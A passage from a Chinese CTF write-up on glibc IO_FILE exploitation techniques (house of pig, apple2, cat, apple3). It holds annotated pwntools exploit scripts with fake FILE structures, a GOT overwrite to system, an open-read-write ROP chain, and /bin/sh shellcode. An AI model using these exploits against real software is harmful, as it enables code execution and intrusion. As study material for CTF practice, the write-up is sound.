  3. 进行4次IO_FILE的布局,也是本题的核心思路。第一个FILE用于将tcache_struct释放进入tcache中,也就是heap_base + 0x10的地方;第二次的FILE用于修改tcache_struct使得可以任意地址写;第三个FILE用于修改memcpy@got为system,注意这里要还原memset函数,因为memcpy函数结束之后还会调用memset;第四个FILE触发攻击。

总结了一下构造此类FILE的模板:

fake_IO_FILE =  p64(0) * 2
fake_IO_FILE += p64(0)     # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)    # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(copy_heap_addr)    # _IO_buf_base
fake_IO_FILE += p64(copy_heap_addr + old_blen)   # _IO_buf_end
fake_IO_FILE =  fake_IO_FILE1.ljust(0x58, b'\x00')
fake_IO_FILE += p64(next_chain)    # _chain
fake_IO_FILE =  fake_IO_FILE1.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base)     # _lock = writable address
fake_IO_FILE =  fake_IO_FILE1.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)             # _mode = 0
fake_IO_FILE =  fake_IO_FILE1.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(io_str_jumps)  # vtable

学习了e4l4师傅的WP,并做了一点注释:

#encoding = utf-8
from pwn import *
from LibcSearcher import * 

context(os = 'linux', arch = 'amd64')

local = 2
if local == 1 :
    sh = process([b"./ld-linux-x86-64.so.2", b"./eznote"], env={"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2 :
    sh = process("./eznote")
else :
    sh = remote(ip, port)

elf = ELF('./eznote')
libc = ELF('./libc.so.6')

def dbg():
    gdb.attach(sh)
    pause()

s       = lambda data               :sh.send(data)
sa      = lambda text, data         :sh.sendafter(text, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda text, data         :sh.sendlineafter(text, data)
r       = lambda num                :sh.recv(num)
ru      = lambda text               :sh.recvuntil(text)
uu32    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes

#------------------------------------------------------------------------------------------------------#

def add(size, content):
    sla('> ', b'1')
    sla('Size: ', str(size))
    sla('Content: ', content)

def edit(idx, content):
    sla('> ', b'3')
    sla('Idx: ', str(idx))
    sla('Content: ', content)

def show(idx):
    sla('> ', b'4')
    sla('Idx: ', str(idx))

def delete(idx):
    sla('> ', b'2')
    sla('Idx: ', str(idx))

# make overlapping
add(0x438, b'pursue')   # 0
add(0x408, b'pursue')   # 1
add(0x448, b'pursue')   # 2
add(0x418, b'pursue')   # 3
add(0x418, b'pursue')   # 4
add(0x408, b'pursue')   # 5
add(0x408, b'pursue')   # 6
add(0xca1, b'pursue')   # 7
delete(0)
delete(3)

# leak heap
add(0x438, b'pursue')   # 0
add(0x408, b'pursue')   # 3
delete(1)
show(3)
ru('Note3:\n')
key = u64(r(5).ljust(8, b'\x00')) 
heap_base = key << 12
lg('heap_base')

# leak libc
show(2)
libc_base = uu64() - 0x219ce0
io_list_all = libc_base + 0x21a680
io_str_jumps = libc_base + 0x2166c0
system = libc_base + 0x50d60
memcpy_got = libc_base + 0x219160
memset = libc_base + libc.sym['memset']
lg('libc_base')
lg('memcpy_got')
lg('memset')

# largebin_attack
add(0x448, b'pursue')   # 1
delete(4)
add(0x838, b'pursue')   # 4

delete(2)
add(0x1000, b'pursue')  # 2
pld = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0xb90)
pld += p64(io_list_all - 0x20)
edit(1, pld)
delete(0)
add(0x1000, b'pursue')  # 0
delete(0)
add(0x438, b'pursue')   # 0

# -----------house of pig----------- #

# free tcache_struct(size = 0x290) to tcache
new_size = 0x408
copy_heap_addr = heap_base + 0x10     # tcache_struct
next_chain = heap_base + 0x2d00 - 0x10
old_blen = (new_size - 100) // 2

fake_IO_FILE1 =  p64(0) * 2
fake_IO_FILE1 += p64(0)     # _IO_write_base = 0
fake_IO_FILE1 += p64(0xffffffffffffffff)    # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE1 += p64(0)
fake_IO_FILE1 += p64(copy_heap_addr)    # _IO_buf_base
fake_IO_FILE1 += p64(copy_heap_addr + old_blen)   # _IO_buf_end
fake_IO_FILE1 =  fake_IO_FILE1.ljust(0x58, b'\x00')
fake_IO_FILE1 += p64(next_chain)    # _chain
fake_IO_FILE1 =  fake_IO_FILE1.ljust(0x78, b'\x00')
fake_IO_FILE1 += p64(heap_base)     # _lock = writable address
fake_IO_FILE1 =  fake_IO_FILE1.ljust(0xB0, b'\x00')
fake_IO_FILE1 += p64(0)             # _mode = 0
fake_IO_FILE1 =  fake_IO_FILE1.ljust(0xC8, b'\x00')
fake_IO_FILE1 += p64(io_str_jumps)  # vtable

# modify tcache_stryct
new_size = 0x288
copy_heap_addr = heap_base + 0x790    # data to modify tcache_stryct
next_chain = heap_base + 0x2dd0 - 0x10
old_blen = (new_size - 100) // 2

fake_IO_FILE2 =  p64(0) * 2
fake_IO_FILE2 += p64(0)     # _IO_write_base = 0
fake_IO_FILE2 += p64(0xffffffffffffffff)    # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE2 += p64(0)
fake_IO_FILE2 += p64(copy_heap_addr)    # _IO_buf_base
fake_IO_FILE2 += p64(copy_heap_addr + old_blen)   # _IO_buf_end
fake_IO_FILE2 =  fake_IO_FILE2.ljust(0x58, b'\x00')
fake_IO_FILE2 += p64(next_chain)    # _chain
fake_IO_FILE2 =  fake_IO_FILE2.ljust(0x78, b'\x00')
fake_IO_FILE2 += p64(heap_base)     # _lock = writable address
fake_IO_FILE2 =  fake_IO_FILE2.ljust(0xB0, b'\x00')
fake_IO_FILE2 += p64(0)             # _mode = 0
fake_IO_FILE2 =  fake_IO_FILE2.ljust(0xC8, b'\x00')
fake_IO_FILE2 += p64(io_str_jumps)  # vtable

# modify memcpy@got -> system
new_size = 0x128
copy_heap_addr = heap_base + 0x1830
next_chain = heap_base + 0x2e90
old_blen = (new_size - 100) // 2

fake_IO_FILE3 =  p64(0) * 2
fake_IO_FILE3 += p64(0)     # _IO_write_base = 0
fake_IO_FILE3 += p64(0xffffffffffffffff)    # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE3 += p64(0)
fake_IO_FILE3 += p64(copy_heap_addr)    # _IO_buf_base
fake_IO_FILE3 += p64(copy_heap_addr + old_blen)   # _IO_buf_end
fake_IO_FILE3 =  fake_IO_FILE3.ljust(0x58, b'\x00')
fake_IO_FILE3 += p64(next_chain)    # _chain
fake_IO_FILE3 =  fake_IO_FILE3.ljust(0x78, b'\x00')
fake_IO_FILE3 += p64(heap_base)     # _lock = writable address
fake_IO_FILE3 =  fake_IO_FILE3.ljust(0xB0, b'\x00')
fake_IO_FILE3 += p64(0)             # _mode = 0
fake_IO_FILE3 =  fake_IO_FILE3.ljust(0xC8, b'\x00')
fake_IO_FILE3 += p64(io_str_jumps)  # vtable

# pwn
new_size = 0x108
copy_heap_addr = heap_base
next_chain = 0
old_blen = (new_size - 100) // 2

fake_IO_FILE4 =  p64(0) * 2
fake_IO_FILE4 += p64(0)     # _IO_write_base = 0
fake_IO_FILE4 += p64(0xffffffffffffffff)    # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE4 += p64(0)
fake_IO_FILE4 += p64(copy_heap_addr)    # _IO_buf_base
fake_IO_FILE4 += p64(copy_heap_addr + old_blen)   # _IO_buf_end
fake_IO_FILE4 =  fake_IO_FILE4.ljust(0x58, b'\x00')
fake_IO_FILE4 += p64(next_chain)    # _chain
fake_IO_FILE4 =  fake_IO_FILE4.ljust(0x78, b'\x00')
fake_IO_FILE4 += p64(heap_base)     # _lock = writable address
fake_IO_FILE4 =  fake_IO_FILE4.ljust(0xB0, b'\x00')
fake_IO_FILE4 += p64(0)             # _mode = 0
fake_IO_FILE4 =  fake_IO_FILE4.ljust(0xC8, b'\x00')
fake_IO_FILE4 += p64(io_str_jumps)  # vtable


edit(3, p16(1) * 0x20 + p64(memcpy_got - 0x10) * 0x30)     # tcache struct
edit(1, fake_IO_FILE1)
edit(2, fake_IO_FILE2 + fake_IO_FILE3 + fake_IO_FILE4)
edit(5, b'/bin/sh\x00' * 2 + p64(system) + b'\x00' * 0x20 + p64(memset))
delete(6)

sla('> ', b'5')

sh.interactive()

House_Of_Apple2

参考文章:[原创] House of apple 一种新的glibc中IO攻击方法 (2)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

利用原理

主要是利用FILE结构体中的_wide_data成员和_IO_wfile_jumps中的函数

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

const struct _IO_jump_t _IO_wfile_jumps_mmap libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow_mmap),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_file_setbuf_mmap),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close_mmap),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

利用_IO_wfile_overflow函数

先看一下相关源码:

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */	// 绕过检查
// #define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)		// 绕过检查进入函数
// #define _IO_CURRENTLY_PUTTING 0x0800
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)		// 绕过检查进入函数
    {
      _IO_wdoallocbuf (f);		// 利用点
      _IO_free_wbackup_area (f);
      _IO_wsetg (f, f->_wide_data->_IO_buf_base,
             f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
          ......
      }
  }
}

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)		// 绕过检查
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))	// 绕过检查
// #define _IO_UNBUFFERED        0x0002
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)	// 利用点
// 总结下来就是 *(fp->_wide_data->_wide_vtable + 0x68)(fp)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}

核心利用点和绕过都总结如下:

fp->_flags 设置为0即可
fp->_wide_data->_IO_write_base == NULL
fp->_wide_data->_IO_buf_base == NULL

*(fp->_wide_data->_wide_vtable + 0x68)(fp)

调用链:_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

利用_IO_wfile_underflow_mmap函数

先看一下相关源码:

static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
  struct _IO_codecvt *cd;
  const char *read_stop;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))		// 绕过检查
// #define _IO_NO_READS          0x0004 /* Reading not allowed.  */
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)	// 绕过检查
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr >= fp->_IO_read_end
      /* No.  But maybe the read buffer is not fully set up.  */
      && _IO_file_underflow_mmap (fp) == EOF)		// 绕过检查
    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error
       flags as appropriate.  */
    return WEOF;

  /* There is more in the external.  Convert it.  */
  read_stop = (const char *) fp->_IO_read_ptr;

  if (fp->_wide_data->_IO_buf_base == NULL)		// 绕过检查进入函数
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)	// 视情况绕过
    {
      free (fp->_wide_data->_IO_save_base);		// 存在free可利用
      fp->_flags &= ~_IO_IN_BACKUP;
    }
      _IO_wdoallocbuf (fp);		// 关键函数
    }
    ......
}

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)		// 绕过检查
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))	// 绕过检查
// #define _IO_UNBUFFERED        0x0002
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)	// 利用点
// 总结下来就是 *(fp->_wide_data->_wide_vtable + 0x68)(fp)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}

核心利用点和绕过都总结如下:

fp->_flags 设置为0即可
fp->_IO_read_ptr < fp->_IO_read_end
fp->_wide_data->_IO_buf_base == NULL
fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end
视情况选择:
- fp->_wide_data->_IO_save_base == NULL
- free (fp->_wide_data->_IO_save_base) -> fp->_wide_data->_IO_save_base 合法被free的地址

*(fp->_wide_data->_wide_vtable + 0x68)(fp)

调用链:_IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

house_of_cat(强网2022)

2.35的堆题,在正式进入堆操作之前有个检查,稍微逆一下就可以出来了,程序只有两次edit的机会,没有退出和main函数返回,所以我们只能通过断言触发IO漏洞,那么两次的edit分别将用于laregbin_attack和修改top_chunk的size。

程序开启了一个特别的sandbox,分析下来在进行read的时候fd要是0才能绕过沙盒,所以我们在open之前可以先close(0),如下:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x10 0xc000003e  if (A != ARCH_X86_64) goto 0018
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0d 0xffffffff  if (A != 0xffffffff) goto 0018
 0005: 0x15 0x0b 0x00 0x0000013e  if (A == getrandom) goto 0017
 0006: 0x15 0x0a 0x00 0x00000002  if (A == open) goto 0017
 0007: 0x15 0x09 0x00 0x00000003  if (A == close) goto 0017
 0008: 0x15 0x08 0x00 0x00000009  if (A == mmap) goto 0017
 0009: 0x15 0x07 0x00 0x0000000c  if (A == brk) goto 0017
 0010: 0x15 0x06 0x00 0x000000e7  if (A == exit_group) goto 0017
 0011: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0016
 0012: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0013: 0x15 0x00 0x04 0x00000000  if (A != 0x0) goto 0018
 0014: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0015: 0x15 0x01 0x02 0x00000000  if (A == 0x0) goto 0017 else goto 0018
 0016: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x06 0x00 0x00 0x00000000  return KILL

这里用的是_IO_wfile_overflow函数,通过调试发现在执行到setcontext + 61的时候,rdx寄存器保存着我们伪造的_IO_wide_data结构体的首地址,而采用_IO_wfile_underflow_mmap函数执行到setcontext + 61的时候,rdx寄存器只保存了chunk的size,可能需要我们利用一些通用的gadget来纠正rdx的值,所以会比较麻烦。

还有一点,为什么这里要采用IO_wfile_jumps - 0x20呢?因为原本程序是调用xsputn去打印断言信息,且其和_IO_wfile_overflow函数相距0x20字节,所以这样修改偏移,如果希望调用_IO_wfile_underflow_mmap那么只需要将偏移修改成0x18就好。

把IO构造的部分拿出来可以当作模板:

# _flags = prev_size = 0
# _IO_read_ptr
fake_file1 = b'\x00' * 0x78
fake_file1 += p64(heap_base)     # _lock
fake_file1 = fake_file1.ljust(0x90, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0x100)    # _wide_data
fake_file1 = fake_file1.ljust(0xc8, b'\x00')
fake_file1 += p64(IO_wfile_jumps - 0x20)      # vtable
fake_file1 = fake_file1.ljust(0x100 - 0x10, b'\x00')

fake_wide = b'\x00' * 0x68
fake_wide += p64(setcontext_61)     # _wide_vtable + 0x68
fake_wide = fake_wide.ljust(0xa0, b'\x00')
fake_wide += p64(heap_base + 0x1c90)    # rsp -> orw_addr
fake_wide += p64(p_rdi_r + 1)       # rip -> ret
fake_wide = fake_wide.ljust(0xe0, b'\x00')
fake_wide += p64(heap_base + 0x290 + 0x100)     # _wide_vtable

fake_file1 += fake_wide

WP如下:

#encoding = utf-8
from pwn import *
from LibcSearcher import * 

# context(log_level = 'debug', os = 'linux', arch = 'amd64')
context(os = 'linux', arch = 'amd64')

local = 2
if local == 1 :
    sh = process([b"./ld.so", b"./pwn"], env = {"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2 :
    sh = process("./house_of_cat")
else :
    sh = remote(ip, port)

elf = ELF('./house_of_cat')
libc = ELF('./libc.so.6')

def dbg():
    gdb.attach(sh)
    pause()

s       = lambda data               :sh.send(data)
sa      = lambda text, data         :sh.sendafter(text, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda text, data         :sh.sendlineafter(text, data)
r       = lambda num                :sh.recv(num)
ru      = lambda text               :sh.recvuntil(text)
uu32    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl     = lambda s, value           :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, value))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes

#------------------------------------------------------------------------------------------------------#

def admin():
    pld = 'LOGIN | r00t QWB QWXFadmin'
    sa('mew mew mew~~~~~~\n', pld)

def cmd(choice):
    pld = 'CAT | r00t QWB QWXF$\xff\xff\xff\xff'
    sa('mew mew mew~~~~~~\n', pld)
    sla('plz input your cat choice:\n', str(choice))

def add(idx, size, content):
    cmd(1)
    sla('plz input your cat idx:\n', str(idx))
    sla('plz input your cat size:\n', str(size))
    sa('plz input your content:\n', content)

def delete(idx):
    cmd(2)
    sla('plz input your cat idx:\n', str(idx))

def show(idx):
    cmd(3)
    sla('plz input your cat idx:\n', str(idx))
    ru('Context:\n')

def edit(idx, content):
    # only twice
    cmd(4)
    sla('plz input your cat idx:\n', str(idx))
    sa('plz input your content:\n', content)

admin()
add(0, 0x418, b'pursue')    # 0
add(1, 0x438, b'pursue')    # 1
add(2, 0x428, b'pursue')    # 2
add(3, 0x468, b'pursue')    # 3

delete(2)
add(4, 0x468, b'pursue')    # 4
show(2)
libc_base = u64(r(8)) - 0x21a0d0
r(8)
heap_base = u64(r(8)) - 0xaf0
lg('libc_base')
lg('heap_base')

IO_wfile_jumps = libc_base + 0x2160c0
setcontext_61 = libc_base + 0x53a30 + 61
p_rdi_r = libc_base + 0x000000000002a3e5
p_rsi_r = libc_base + 0x000000000002be51
p_rdx_r12_r = libc_base + 0x000000000011f497
p_rax_r = libc_base + 0x0000000000045eb0
syscall_r = libc_base + 0x0000000000091396
lg('setcontext_61')

# _flags = prev_size = 0
# _IO_read_ptr
fake_file1 = b'\x00' * 0x78
fake_file1 += p64(heap_base)     # _lock
fake_file1 = fake_file1.ljust(0x90, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0x100)    # _wide_data
fake_file1 = fake_file1.ljust(0xc8, b'\x00')
fake_file1 += p64(IO_wfile_jumps - 0x20)      # vtable
fake_file1 = fake_file1.ljust(0x100 - 0x10, b'\x00')

fake_wide = b'\x00' * 0x68
fake_wide += p64(setcontext_61)     # _wide_vtable + 0x68
fake_wide = fake_wide.ljust(0xa0, b'\x00')
fake_wide += p64(heap_base + 0x1c90)    # rsp -> orw_addr
fake_wide += p64(p_rdi_r + 1)       # rip -> ret
fake_wide = fake_wide.ljust(0xe0, b'\x00')
fake_wide += p64(heap_base + 0x290 + 0x100)     # _wide_vtable

fake_file1 += fake_wide
delete(0)
add(5, 0x418, fake_file1)
add(6, 0x458, b'pursue')    # 6
add(7, 0x468, b'pursue')    # 7
add(8, 0x468, b'pursue')    # 8
delete(5)
delete(6)
delete(7)
delete(8)

pld = p64(libc_base + 0x21a0d0) * 2
pld += p64(heap_base + 0xaf0)
pld += p64(libc_base + libc.sym['stderr'] - 0x20)    # bk_nextsize
edit(2, pld)
add(9, 0x468, b'pursue')    # largebin_attack

orw = p64(0) * 2
orw += p64(p_rdi_r) + p64(0)
orw += p64(p_rsi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0) + p64(0)
orw += p64(p_rax_r) + p64(3)
orw += p64(syscall_r)       # close
orw += p64(p_rdi_r) + p64(heap_base + 0x1dd0)
orw += p64(p_rsi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0) + p64(0)
orw += p64(p_rax_r) + p64(2)
orw += p64(syscall_r)       # open -> fd = 0
orw += p64(p_rdi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
orw += p64(p_rsi_r) + p64(heap_base + 0x3000)
orw += p64(p_rax_r) + p64(0)
orw += p64(syscall_r)       # read
orw += p64(p_rdi_r) + p64(1)
orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
orw += p64(p_rsi_r) + p64(heap_base + 0x3000)
orw += p64(p_rax_r) + p64(1)
orw += p64(syscall_r)       # write
orw += b'/flag\x00'

add(10, 0x468, orw)     # 10
edit(8, p64(0) + p64(0x111))    # change top_chunk.size

cmd(1)
sla('plz input your cat idx:\n', str(0xf))
sla('plz input your cat size:\n', str(0x468))

sh.interactive()

House_Of_Apple3

利用原理

主要是利用FILE结构体中的_codecvt成员和_IO_wfile_jumps中的函数,主要的调用链如下所示:_IO_wfile_underflow -> __libio_codecvt_in -> (fp->_codecvt->__cd_in.step->__fct)(fp->_codecvt->__cd_in.step),或者是利用_IO_wfile_underflow_mmap -> __libio_codecvt_in -> (fp->_codecvt->__cd_in.step->__fct)(fp->_codecvt->__cd_in.step),这里主要给出前者的利用思路。

以下是几个重要的结构体:

struct _IO_codecvt
{
  _IO_iconv_t __cd_in;
  _IO_iconv_t __cd_out;
};

typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;

struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;		// 注意这个成员
  const char *__modname;

  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;

  char *__from_name;
  char *__to_name;

  __gconv_fct __fct;	// 注意这个成员
  __gconv_btowc_fct __btowc_fct;
  __gconv_init_fct __init_fct;
  __gconv_end_fct __end_fct;

  /* Information about the number of bytes needed or produced in this
     step.  This helps optimizing the buffer sizes.  */
  int __min_needed_from;
  int __max_needed_from;
  int __min_needed_to;
  int __max_needed_to;

  /* Flag whether this is a stateful encoding or not.  */
  int __stateful;

  void *__data;		/* Pointer to step-local data.  */
};

struct __gconv_step_data
{
  unsigned char *__outbuf;    /* Output buffer for this step.  */
  unsigned char *__outbufend; /* Address of first byte after the output
                 buffer.  */

  /* Is this the last module in the chain.  */
  int __flags;

  /* Counter for number of invocations of the module function for this
     descriptor.  */
  int __invocation_counter;

  /* Flag whether this is an internal use of the module (in the mb*towc*
     and wc*tomb* functions) or regular with iconv(3).  */
  int __internal_use;

  __mbstate_t *__statep;
  __mbstate_t __state;	/* This element must not be used directly by
               any module; always use STATEP!  */
};

主要函数的源码如下所示:

wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)	// 绕过检查
    return WEOF;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))		// 绕过检查
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)		// 绕过检查
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)		// 绕过检查,进入以下语句块
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;

      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
      status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,		// 进入目标函数
                   fp->_IO_read_ptr, fp->_IO_read_end,
                   &read_stop,
                   fp->_wide_data->_IO_read_ptr,
                   fp->_wide_data->_IO_buf_end,
                   &fp->_wide_data->_IO_read_end);

      fp->_IO_read_base = fp->_IO_read_ptr;
      fp->_IO_read_ptr = (char *) read_stop;
      ......        
  }
}

enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
            const char *from_start, const char *from_end,
            const char **from_stop,
            wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;

  struct __gconv_step *gs = codecvt->__cd_in.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;

  codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
  codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
  codecvt->__cd_in.step_data.__statep = statep;

  __gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
  if (gs->__shlib_handle != NULL)		// 绕过检查
    PTR_DEMANGLE (fct);
#endif
// # define DL_CALL_FCT(fctp, args) (_dl_mcount_wrapper_check ((void *) (fctp)), (*(fctp)) args)
  status = DL_CALL_FCT (fct,
